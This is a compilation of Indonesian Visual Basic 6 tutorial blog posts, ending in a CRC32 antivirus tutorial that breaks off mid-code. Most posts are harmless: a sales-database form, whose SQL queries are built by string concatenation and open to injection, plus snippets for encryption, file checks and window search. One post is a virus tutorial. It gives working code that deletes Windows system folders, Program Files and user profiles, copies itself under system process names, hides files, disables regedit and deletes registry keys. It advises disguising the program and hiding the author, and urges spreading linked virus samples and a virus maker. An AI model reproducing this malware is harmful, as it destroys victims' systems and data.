Program dengan database

ga' perlu basa basi.., langsung aja belajar..

Ketentuan Form :
1. Dianjurkan membuat 6 buah sub(Bersih, Nonaktif, Aktif, Combo_Pelanggan, Combo_barang, penomoran otomatis).
2. Nomor Invoice dibuat denga Format “INV001”.
3. Jika jenis Penjualan Tunai Mendapat potongan sebesar 5%, jika Kredit sebesar 2%.
4. Subtotal = Jumlah Beli * Harga Jual (KeyPress)
5. Proses Penyimpanan dilakukan hanya untuk menyimpan semua field yang ada dalam table Penjualan.

Adapun ketentuan dalam membangun database:

Table Barang

Field Name      Type data    Size
ID_Barang       * Text          5
Nm_Barang       Text           30
Harga_beli        Currency 
Harga_Jual        Currency 
Stok                  Number 

Table Pelanggan

Field Name        Type data     Size
ID_pel               * Text          3
Nm_pel              Text            30
Alamat               Text             50
Kota                  Text             10
No_telp             Text             15

Table Penjualan

Field Name        Type data      Size
Invoice              * Text             6
Tanggal             Date/Time
ID_pel              Text                 3
ID_Barang        Text                 5
Jumlah_Beli       Number
Jns_penjualan    Text                 6


Setelah kalian selesai, Silahkan buat program tersebut dengan ketentuan yang sudah ditentukan oleh saya.

Source Code Latihan VB

Mungkin kalian sedang kebingungan membuat program tersebut. Dipostingan ini saya akan besertakan source codenya juga dengan form yang bisa kalian download.
Input Kode Dibawah ini...Semoga kalian tidak bingung maksud dari kode ini:

Private Sub cbaru_Click()
bersih
aktif
nomat
End Sub

Private Sub cbatal_Click()
bersih
nonaktif
End Sub

Private Sub cbobar_Click()
a1.RecordSource = "select * from barang where nm_barang='" & cbobar.Text & "'"
a1.Refresh
Text2.Text = a1.Recordset!id_barang
tharga.Text = a1.Recordset!harga_jual
End Sub

Private Sub cbopel_Click()
a2.RecordSource = "select * from pelanggan where nm_pel='" & cbopel.Text & "'"
a2.Refresh
Text1.Text = a2.Recordset!id_pel
End Sub

Private Sub ckeluar_Click()
Unload Me
End Sub

Private Sub csimpan_Click()
a3.RecordSource = "select * from penjualan"
a3.Refresh
a3.Recordset.AddNew
a3.Recordset!invoice = tinvoice.Text
a3.Recordset!tanggal = dp1.Value
a3.Recordset!id_pel = Text1.Text
a3.Recordset!id_barang = Text2.Text
a3.Recordset!jumlah_beli = tjumlah.Text
If opttunai.Value = True Then
a3.Recordset!jns_penjualan = "Tunai"
Else
a3.Recordset!jns_penjualan = "Kredit"
End If
a3.Recordset.Update
bersih
nonaktif
End Sub

Private Sub Form_Load()
combo_barang
combo_pelanggan
bersih
nonaktif
End Sub

'pembuatan sub ini terlebih dahulu agar database dapat terkoneksikan
Sub combo_barang()
a1.RecordSource = "select nm_barang from barang order by nm_barang"
a1.Refresh
If a1.Recordset.RecordCount = 0 Then
Exit Sub
Else
a1.Recordset.MoveFirst
Do While Not a1.Recordset.EOF
cbobar.AddItem a1.Recordset!nm_barang
a1.Recordset.MoveNext
Loop
End If
End Sub

Sub combo_pelanggan()
a2.RecordSource = "select nm_pel from pelanggan order by nm_pel"
a2.Refresh
If a2.Recordset.RecordCount = 0 Then
Exit Sub
Else
a2.Recordset.MoveFirst
Do While Not a2.Recordset.EOF
cbopel.AddItem a2.Recordset!nm_pel
a2.Recordset.MoveNext
Loop
End If
End Sub

Sub nomat()
Dim a, b As String
a3.RecordSource = "select * from penjualan order by invoice"
a3.Refresh
If a3.Recordset.RecordCount = 0 Then
b = "INV001"
Else
a3.Recordset.MoveLast
a = Right(a3.Recordset!invoice, 3) + 1
b = "INV" & Right("00" & a, 3)
End If
tinvoice.Text = b
End Sub

Sub aktif()
Dim a As Control
For Each a In Me
If TypeOf a Is TextBox Then a.Enabled = True
If TypeOf a Is ComboBox Then a.Enabled = True
If TypeOf a Is OptionButton Then a.Enabled = True
If TypeOf a Is DTPicker Then a.Enabled = True
Next
End Sub

'untuk membuat sub penonaktifan atas semua textbox, combobox, datapicker, dan option button
Sub nonaktif()
Dim a As Control
For Each a In Me
If TypeOf a Is TextBox Then a.Enabled = False
If TypeOf a Is ComboBox Then a.Enabled = False
If TypeOf a Is OptionButton Then a.Enabled = False
If TypeOf a Is DTPicker Then a.Enabled = False
Next
End Sub


' untuk membuat sub pembersihan atas semua textbox dan combobox
Sub bersih()
Dim a As Control
For Each a In Me
If TypeOf a Is TextBox Then a.Text = ""
If TypeOf a Is ComboBox Then a.Text = ""
Next
End Sub

'Masukan kode ini pada command button dengan nama jumlah
Private Sub tjumlah_KeyPress(KeyAscii As Integer)
Dim potongan As Single
If KeyAscii = 13 Then
If opttunai.Value = True Then
potongan = (tharga.Text * tjumlah.Text) * 0.05
Else
potongan = (tharga.Text * tjumlah.Text) * 0.02
End If
tsubtotal.Text = (tharga.Text * tjumlah.Text) - potongan
Else
End If
End Sub 

Setelah Kalian selesai dengan kode diatas, jangan lupa untuk melakukan pemanggilan beberapa sub tersebut. Yang mana hayooo?? Tentunya kalian tahu yang harus dilakukan, saya tidak akan memberitahukannya. ^,..,^

Bagi kalian yang membutuhkan form beserta databasenya, bisa kalian dapatkan sekarang juga, tinggal download melalui browser kalian.


download contoh programnya di sini 

Read more »

MEMBUAT BEL SEKOLAH OTOMATIS

 hay sobat ktemu lagi di blog anak vb.., di postingan kali ini saya punya source code bel sekolahdari
dari pada tinggal di komputer jadi basikan...,
Source code ini merupakan source code program untuk membunyikan bel sekolah secara otomotis sesuai dengan jam yang di ketikkan, kemudian komputer akan mati sendiri jika udah jam yang ditentukan sehingga orang seorang Tata Usaha yang biasa melakukan bel tidak usah bingung-bingung dalam pengoperasiannya. Program ini dibuat secara otomatis jalan dan hanya orang yang tertentu aja yang bisa mematikan program ini (hehe kecuali komputernya di matikan atau ga ada sambungan listriknya).
nich buat yang mau ,,.
langsung sedot aja.., atau bahasa lainnya di unduh...,

download di sini

Read more »

Mempercantik tampilan form dengan acktive skin

Belum lama, ada seorang teman yang menshare sedang membuat aplikasi dengan visual basic, tapi ia ingin agar tampilannya berbeda dan terlihat cantik. Terinspirasi dari sana saya coba berikan solusi alternatif untuk merubah tampilan form dengan bantuan aplikasi third-party, yaitu ActiveSkin. Sebab menurut saya penggunaannya cukup mudah, yaitu dengan dua buah baris sintak saja, tampilan form akan disulap menjadi ciamik. Berikut langkahnya :

• Buat Project baru
• Masukkan ActiveSkin control di form
• Masukkan sintak berikut di Form Load
Skin1.LoadSkin App.Path & “\skin_anda.skn” Skin1.ApplySkin hwnd
Penjelasan :
Pada baris pertama, ActiveSkin control akan meload skin dengan membaca dimana skin diletakkan, pada contoh disini lokasi skin diletakkan didalam folder dimana project disimpan, dengan sintaks app.path dan langsung diarahkan ke skin_anda.skn, dimana dimana skin_anda di sesuaikan dengan nama skin yang anda maksud.
Pada baris kedua, apabila tidak ada kesalahan dalam pembacaan lokasi skin alias skin ditemukan, maka selanjutnya ActiveSkin akan menerapkan skin_anda.skn kedalam form kontrol.

download apliksai acktive skin sekarang

Read more »

Kumpulan kode vb

mari belajar kode yang belum kita tau apa kegunaannya

pelajari kode berikut

Check For a File

Public Function FileExist(asPath as string) as Boolean
If UCase(Dir(asPath))=Ucase(trimPath(asPath)) then
FileExist=true
Else
FileExist=False
End If
End Function
Public Function TrimPath(ByVal asPath as string) as string
if Len(asPath)=0 then Exit Function
Dim x as integer
Do
x=Instr(asPath,”\”)
if x=0 then Exit Do
asPath=Right(asPath,Len(asPath)-x)
Loop
TrimPath=asPath
End Function
Private sub command1_Click()
if fileExist(Text1.text) then
Label1=”YES”
else
Label1=”NO”
End if
End Sub
Private sub form_Load()
End sub

Posted by Administrator in 08:58:16 | Permalink | No Comments »

Tuesday, July 1, 2008

Low and Upper Case

‘add 2 command buttons and 1 text
Private Sub Command1_Click()
    Text1.Text = CapFirst$(Text1.Text)
End Sub
Private Sub Command2_Click()
    Text1.Text = LCase$(Text1.Text)
End Sub
‘add 1 module
Declare Function CapFirst$ Lib “CAPFIRST.DLL” Alias “CAPFIRST” (ByVal St$)

Posted by Administrator in 07:11:50 | Permalink | No Comments »

Show Your IP Address

Add Microsoft Winsock Control 6.0 component
Insert 1 Textbox
Insert 2 Command Buttons Rename Caption as Display and Clear
Private Sub Command1_Click()
If Text1.Text = “” Then
    Command1.Enabled = False
    Text1.Text = Winsock1.LocalIP
Else
    Command1.Enabled = True
End If
End Sub
Private Sub Command2_Click()
Text1.Text = “”
If Text1.Text = “” Then
    Command1.Enabled = True
Else
    Command1.Enabled = False
End If
End Sub
Private Sub Form_Load()
Text1.Text = “”
If Text1.Text = “” Then
    Command1.Enabled = False
Else
    Command1.Enabled = True
End If
Text1.Text = Winsock1.LocalIP
End Sub

Posted by Administrator in 07:10:59 | Permalink | Comments (2)

Saturday, May 17, 2008

Permutasi

Option Explicit
Dim id As Integer
Dim N As Integer
Dim perm() As Integer
Function Engine(i As Integer)
   Dim t As Integer
   Dim j As Integer
 
   id = id + 1
   perm(i) = id
   If (id = N) Then stampaj
   For j = 1 To N
      If (perm(j) = 0) Then
         Engine (j)
      End If
   DoEvents
   Next j
   id = id – 1
   perm(i) = 0
End Function
Private Sub cmdClear_Click()
  List1.Clear
End Sub
Private Sub cmdGen_Click()
  If Val(txtLength.Text) > Len(txtChar.Text) Then
    MsgBox “Jumlah Permutasi Salah”
    Exit Sub
  End If
 
  If Len(txtChar.Text) = 0 Or (Val(txtLength.Text) = 0) Then Exit Sub

  Dim i As Integer
  N = Val(txtLength.Text)
  ReDim perm(N)
  For i = 1 To N
     perm(i) = 0
  Next i
  If ChSave.Value = 1 Then
     MsgBox “Disimpan pada hasil.txt”
     Open App.Path + “\hasil.txt” For Output As #1
  End If
  Engine 0
  If ChSave.Value = 1 Then Close #1

End Sub
Sub Form_Load()
   On Error Resume Next
   id = -1
 
End Sub
Sub stampaj()
   Dim i As Integer
   Dim result As String
   result = “”
   For i = 1 To N
      result = result & CStr(Mid$(txtChar.Text, perm(i), 1))
   Next i
   List1.AddItem result
   If ChSave.Value = 1 Then Print #1, result
End Sub

Posted by Administrator in 05:05:49 | Permalink | Comments (5)

Enkripsi Searah

Public Function Hash(ByVal text As String) As String
a = 1
For i = 1 To Len(text)
    a = Sqr(a * i * Asc(Mid(text, i, 1))) ‘Numeric Hash
Next i
Rnd (-1)
Randomize a ‘seed PRNG
For i = 1 To 16
    Hash = Hash & Chr(Int(Rnd * 256))
Next i
End Function
Private Sub Form_Load()
  MsgBox Hash(“EmZ-2509″)    ‘Yang dihasilkan: ‰°’r¿¾ ©Ì¿ÂX*¤W
  End
End Sub

Posted by Administrator in 04:58:18 | Permalink | Comments (1) »

Enkripsi

Function EncDec(inData As Variant, Optional inPW As Variant = “”) As Variant
     On Error Resume Next
     Dim arrSBox(0 To 255) As Integer
     Dim arrPW(0 To 255) As Integer
     Dim Bi As Integer, Bj As Integer
     Dim mKey As Integer
     Dim i As Integer, j As Integer
     Dim x As Integer, y As Integer
     Dim mCode As Byte, mCodeSeries As Variant
  
     EncDec = “”
     If Trim(inData) = “” Then
         Exit Function
     End If
  
     If inPW <> “” Then
         j = 1
         For i = 0 To 255
             arrPW(i) = Asc(Mid$(inPW, j, 1))
             j = j + 1
             If j > Len(inPW) Then
                  j = 1
             End If
         Next i
     Else
         For i = 0 To 255
             arrPW(i) = 0
         Next i
     End If
   
     For i = 0 To 255
         arrSBox(i) = i
     Next i
   
     j = 0
     For i = 0 To 255
         j = (arrSBox(i) + arrPW(i)) Mod 256
         x = arrSBox(i)
         arrSBox(i) = arrSBox(j)
         arrSBox(j) = x
     Next i
   
     mCodeSeries = “”
     Bi = 0: Bj = 0
     For i = 1 To Len(inData)
         Bi = (Bi + 1) Mod 256
         Bj = (Bj + arrSBox(Bi)) Mod 256
         ‘ Tukar
         x = arrSBox(Bi)
         arrSBox(Bi) = arrSBox(Bj)
         arrSBox(Bj) = x
         ‘siapkan kunci untuk XOR
         mKey = arrSBox((arrSBox(Bi) + arrSBox(Bj)) Mod 256)
         ‘gunakan operasi XOR
         mCode = Asc(Mid$(inData, i, 1)) Xor mKey
         mCodeSeries = mCodeSeries & Chr(mCode)
     Next i
     EncDec = mCodeSeries
End Function
Private Sub Form_Load()
  Dim Encrypt As String, Decrypt As String

  Encrypt = EncDec(“admin”, “win”)
  Decrypt = EncDec(“™D`­>”, “win”)
  MsgBox “Hasil enkripsi : ” & Encrypt & _
    vbCrLf & “Hasil dekripsi : ” & Decrypt
  End
End Sub

Posted by Administrator in 04:55:41 | Permalink | No Comments »

Wednesday, May 14, 2008

Menu Pop Up

Option Explicit
Private Declare Function SendMessage Lib “user32″ Alias _
   “SendMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, _
    ByVal wParam As Long, lParam As Any) As Long
Private Const LB_GETITEMRECT = &H198
Private Const LB_ERR = (-1)
Private Type RECT
        Left As Long
        Top As Long
        Right As Long
        Bottom As Long
End Type
Public Function GetRClickedItem(MyList As Control, _
   X As Single, Y As Single) As Long
  ‘PURPOSE: Determine which item was right clicked in a list
  ‘box, from the list_box’s mouse down event.  YOU MUST CALL THIS
  ‘FROM THE MOUSEDOWN EVENT, PASSING THE X AND Y VALUES FROM THAT
  ‘EVENT TO THIS FUNCTION
    ‘MYLIST: ListBox Control
    ‘X, Y: X and Y position from MyList_MouseDown
    ‘RETURNS:  ListIndex of selected item, or -1 if
    ‘a) There is no selected item, or b) an error occurs.
    Dim clickX As Long, clickY As Long
    Dim lRet As Long
    Dim CurRect As RECT
    Dim l As Long
    ‘Control must be a listbox
    If Not TypeOf MyList Is ListBox Then
        GetRClickedItem = LB_ERR
        Exit Function
    End If
    ‘get x and y in pixels
    clickX = X Screen.TwipsPerPixelX
    clickY = Y Screen.TwipsPerPixelY
    ‘Check all items in the list to see if it was clicked on
    For l = 0 To MyList.ListCount – 1
      ‘get current selection as rectangle
      lRet = SendMessage(MyList.hwnd, LB_GETITEMRECT, l, CurRect)
      ‘If the position of the click is in the this list item
       ‘then that’s  our Item
     If (clickX >= CurRect.Left) And (clickX <= CurRect.Right) _
       And (clickY >= CurRect.Top) And _
          (clickY <= CurRect.Bottom) Then
            GetRClickedItem = l
            Exit Function
        End If
    Next l
End Function
Private Sub Form_Load()
  List1.AddItem “Merah”
  List1.AddItem “Kuning”
  List1.AddItem “Hijau”
  mnuPopUp.Visible = False
End Sub
Private Sub List1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim lItem As Long
If Button = vbRightButton Then
    lItem = GetRClickedItem(List1, X, Y)
                                       
        If lItem <> -1 Then
            List1.ListIndex = lItem
            PopupMenu mnuPopUp
        End If
End If
End Sub

Posted by Administrator in 05:53:04 | Permalink | Comments (1) »

Load Picture

Private Sub Command1_Click()
With Me.CommonDialog1
.DialogTitle = “Ambil Gambar”
.Filter = “JPEG|*.jpg”
.ShowOpen
If .FileName <> “” Then
Set Me.Picture1.Picture = Nothing
Me.Picture1.Picture = LoadPicture(.FileName)
End If
End With
End Sub
‘Private Sub Form_Load()
‘Me.Picture1.Picture = LoadPicture(“D:\gbr_motor\bikes_honda_01.jpg”)
‘End Sub

Posted by Administrator in 04:28:16 | Permalink | No Comments »

Friday, May 9, 2008

Sleep With Visual Basic

Option Explicit
Private Declare Sub Sleep Lib “kernel32″ (ByVal dwMilliseconds As Long)
Private Sub Form_Click()
   Me.Caption = “Sleeping”
   Call Sleep(20000)
   Me.Caption = “Awake”
End Sub
Private Sub Label1_Click()
   Me.Caption = “Sleeping”
   Call Sleep(20000)
   Me.Caption = “Awake”
End Sub

Posted by Administrator in 08:18:13 | Permalink | No Comments »

Find Something

Form
Option Explicit
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Sub cmdActivate_Click()
   Dim nRet As Long
   Dim Title As String
   nRet = AppActivatePartial(Trim(txtTitle.Text), _
          Val(frmMethod.Tag), CBool(chkCase.Value))
   If nRet Then
      lblResults.Caption = “Found: &&H” & Hex$(nRet)
      Title = Space$(256)
      nRet = GetWindowText(nRet, Title, Len(Title))
      If nRet Then
         lblResults.Caption = lblResults.Caption & _
            “, “”" & Left$(Title, nRet) & “”"”
      End If
   Else
      lblResults.Caption = “Search Failed”
   End If
End Sub
Private Sub Form_Load()
   txtTitle.Text = “”
   lblResults.Caption = “”
   optMethod(0).Value = True
End Sub
Private Sub optMethod_Click(Index As Integer)
   frmMethod.Tag = Index
End Sub
Module
Option Explicit
Private Declare Function EnumWindows Lib “user32″ (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Private Declare Function GetClassName Lib “user32″ Alias “GetClassNameA” (ByVal hWnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function IsIconic Lib “user32″ (ByVal hWnd As Long) As Long
Private Declare Function IsWindowVisible Lib “user32″ (ByVal hWnd As Long) As Long
Private Declare Function ShowWindow Lib “user32″ (ByVal hWnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function SetForegroundWindow Lib “user32″ (ByVal hWnd As Long) As Long
Private Const SW_RESTORE = 9
Private m_hWnd As Long
Private m_Method As FindWindowPartialTypes
Private m_CaseSens As Boolean
Private m_Visible As Boolean
Private m_AppTitle As String
Public Enum FindWindowPartialTypes
   FwpStartsWith = 0
   FwpContains = 1
   FwpMatches = 2
End Enum
Public Function AppActivatePartial(AppTitle As String, Optional Method As FindWindowPartialTypes = FwpStartsWith, Optional CaseSensitive As Boolean = False) As Long
   Dim hWndApp As Long

   hWndApp = FindWindowPartial(AppTitle, Method, CaseSensitive, True)
   If hWndApp Then
   
      If IsIconic(hWndApp) Then
         Call ShowWindow(hWndApp, SW_RESTORE)
      End If
      Call SetForegroundWindow(hWndApp)
      AppActivatePartial = hWndApp
   End If
End Function
Public Function FindWindowPartial(AppTitle As String, _
   Optional Method As FindWindowPartialTypes = FwpStartsWith, _
   Optional CaseSensitive As Boolean = False, _
   Optional MustBeVisible As Boolean = False) As Long
 
   m_hWnd = 0
   m_Method = Method
   m_CaseSens = CaseSensitive
   m_AppTitle = AppTitle

   If m_CaseSens = False Then
      m_AppTitle = UCase$(m_AppTitle)
   End If

   Call EnumWindows(AddressOf EnumWindowsProc, MustBeVisible)
   FindWindowPartial = m_hWnd
End Function
Private Function EnumWindowsProc(ByVal hWnd As Long, ByVal lParam As Long) As Long
   Static WindowText As String
   Static nRet As Long
   If lParam Then
      If IsWindowVisible(hWnd) = False Then
         EnumWindowsProc = True
         Exit Function
      End If
   End If
   WindowText = Space$(256)
   nRet = GetWindowText(hWnd, WindowText, Len(WindowText))
   If nRet Then
  
      WindowText = Left$(WindowText, nRet)
      If m_CaseSens = False Then
         WindowText = UCase$(WindowText)
      End If
 
      Select Case m_Method
         Case FwpStartsWith
            If InStr(WindowText, m_AppTitle) = 1 Then
               m_hWnd = hWnd
            End If
         Case FwpContains
            If InStr(WindowText, m_AppTitle) <> 0 Then
               m_hWnd = hWnd
            End If
         Case FwpMatches
            If WindowText = m_AppTitle Then
               m_hWnd = hWnd
            End If
      End Select
   End If

   EnumWindowsProc = (m_hWnd = 0)
End Function

Read more »

VB virus dengan Anti virus

halo sobat ku, kali ini saya akan memberikan sedikit tutorial cara membuat virus dengan menggunakan Visual Basic 6.0..

tutorial buat bikin virus sangat mematikan, tapi simple, dan kayanya sih ga bakal kedekteksi antivirus, soalnya cara kerjanya simple banget.

yang anda perlukan antara lain adalah sebagai berikut :
1. VB(optimal : 6.0)

apabila anda ingin mendownload Visual Basic 6.0, klik disini

2. Ngerti tombol2nya VB

tutorialnya begini sob, :

1. bikin form sekecil mungkin

2. didalem form itu, masukin nih kode

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

3.Kode yg berwarna biru itu adalah penangkal nih virus sob, jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang sendiri… bisa kamu edit kok jadi apa gitu…

Yang berwarna merah itu folder yg bakal didelete ama nih virus, kamu edit sendiri aja…

4. Bikin nih project namanya kaya nama system, disini aku memakai nama “SystemKernel32″ jadi ga bakal dicurigain.

5. jangan pernah nulis nama kamu di project ini, okey friend?

6. terakhir ya tinggal di compile deh…

gimana sob, mudah sekali kan?..

sangat Simple kan? nih virus kerjanya ngapus system, jadi sengat berbahaya sekali … ini cman contoh bikin virus…

Sebenarnya bikin virus itu menyenangkan, apalagi klo kita sampai bisa bikin orang kebakaran jengot gara2 virus kita. Aku mau berbagi sedikit ilmu nih tentang cara bikin virus dengan VB 6. Materi ini hanya untuk coba-coba saja atau kata lainnya ini masih dasarnya. Kamu mungkin bisa mengembangkannya sendiri. Oh ya, aku juga menyertakan satu contoh virus yang sudah aku buat namanya r3d_94l4xy. Untuk materi yang lebih berat akan disambung lain waktu. Bagi yang ingin mendapatkan sample virus tertentu dengan source codenya silakan contact Johan.

Pertama, bikin form buat virus kamu pake Standart exe saja

1. Nyembuin Form

Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Kopiin Diri Sendiri
Misalnya mau dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”

3. Bikin Direktori ato folder
Misalnya bikin folder di windows direktori

On Error Resume Next
MkDir “C:\WINDOWS\virus”

4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(”C:\WINDOWS\winlogon.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\csrss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\services.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\smss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\lsass.exe”).Attributes = 2

tapi kalo folder pakenya
sembunyi.GetFolder(”C:\WINDOWS\”).Attributes = 2

5. Bikin Pesan Virus
Bikin pesen pake text file

On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C:\baca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close

6.Ngubah Registry
Misalnya mo disable regedit

On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools”, 1, “REG_DWORD”

7.Menghapus Registry
Misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon



On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon”

Nah sekian dulu materi yang kita pelajari, dari pada pusing, download sample virus r3d_94l4xy dan sebarin ke seluruh penjuru dunia OK!
r3d_94l4xy.rar 180 kb
Berhubung banyaknya permintaan mengenai Sample Virus dalam bentuk VB Project, jadi dibawah ini aku tambahi Source VB nya r3d_94l4xy dan virus lainnya :
r3d_94l4xy (VB_Basic).rar 95 kb
r3d_94l4xy (VB_Extreme).rar 860 kb
Source VB 4 Virus.rar 1297 kb
Trus yang ini adalah software untuk membuat virus dengan mudah, coba deh !
Visual Basic Virus Maker 32 RC 03.rar 1560 kb
Trus yang terakhir ini adalah Artikel tentang Regsitry, bisa kamu pelajari sampai tua!
1001 Malam Mengedit Registry.rar 41 kb
Teknik Bikin Virus Komputer.rar 20 kb
Tak kasih bonus ya Internet Maniac dan Harpot Infeksi Exe, tau kan fungsinya!
Internet Maniac.rar 59 kb
Harpot Infeksi Exe.rar 881 kb
Segini dulu aja ya, soalnya aku lagi persiapan buat lomba Debat Bahasa Inggris di Jember, tanggal 25 November nanti. Dan jangan lupa doain aku biar juara 1, OK ! Dan seperti biasanya, kalau ada pertanyaan, silakan bertanya jangan dipendam. Selamat Belajar !

MEMBUAT ANTIVIRUS

Mungki ini sangat sederhana dan dibuat untuk menangapi tutorial sebelumnya yang tidak lengkap apabila hanya membuat virus saja oke langsung aja deh tanpa basa-basi lagi

Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :

1. Software Visual Basic 6.0

2. Sedikit pemahaman akan pemograman Visual Basic 6.0

3. Sampel file bersih atau virus (- opsional)

• First

Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :

- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary

- Memproses byte demi byte untuk menghasilkan Checksum
Blog dengan ID 134100 Tidak ada

Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0). Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :

================= START HERE ====================

Private crcTable(0 To 255) As Long ‘crc32

Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long

‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file

Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn

Dim lTemp As Long ‘variabel temp hasil perhitungan

If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0

lTemp = lcrc Xor &HFFFFFFFF

For lCurPos = 0 To lLen

lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))

Next lCurPos

CRC32 = lTemp Xor &HFFFFFFFF

End Function

Private Function BuildTable() As Boolean

Dim i As Long, x As Long, crc As Long

Const Limit = &HEDB88320

For i = 0 To 255

crc = i

For x = 0 To 7

If crc And 1 Then

crc = (((crc And &HFFFFFFFE) 2) And &H7FFFFFFF) Xor Limit

Else

crc = ((crc And &HFFFFFFFE) 2) And &H7FFFFFFF

End If

Next x

crcTable(i) = crc

Next i

End Function

Private Sub Class_Initialize()

BuildTable

End Sub

================= END HERE ====================

Lalu ketikkan kode berikut dalam event Command1_Click :

================= START HERE ====================

Dim namaFileBuka As String, HasilCrc As String

Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc

Dim calCrc As Long

Dim tmp() As Byte ‘array buat file yang dibaca

Private Sub Command1_Click()

CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog

CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog

On Error GoTo erorhandle ‘label error handle

CommonDialog1.ShowOpen

namafilbuka = CommonDialog1.FileName

Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary

ReDim tmp(LOF(1)) As Byte ‘deklarasi ulang untuk array

Get #1, , tmp()

Close #1

calCrc = UBound(tmp) ‘mengambil ukuran file dari array

calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC

HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric

Text1.Text = HasilCrc ‘tampilkan hasilnya

Exit Sub

erorhandle:

If Err.Number <> 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================

Coba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.

• Second

Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :

- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary

- Memproses byte demi byte untuk menghasilkan Checksum

- Buka file database

- Ambil isi file baris demi baris

- Samakan Checksum hasil perhitungan dengan checksum dari file

Format file database dapat kita tentukan sendiri, misal :

- FluBurung.A=ABCDEFGH

- Diary.A=12345678

Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.

Buat 1 module baru (- diberi nama module1) lalu isi dengan kode :

================= START HERE ====================

Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus

Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kita

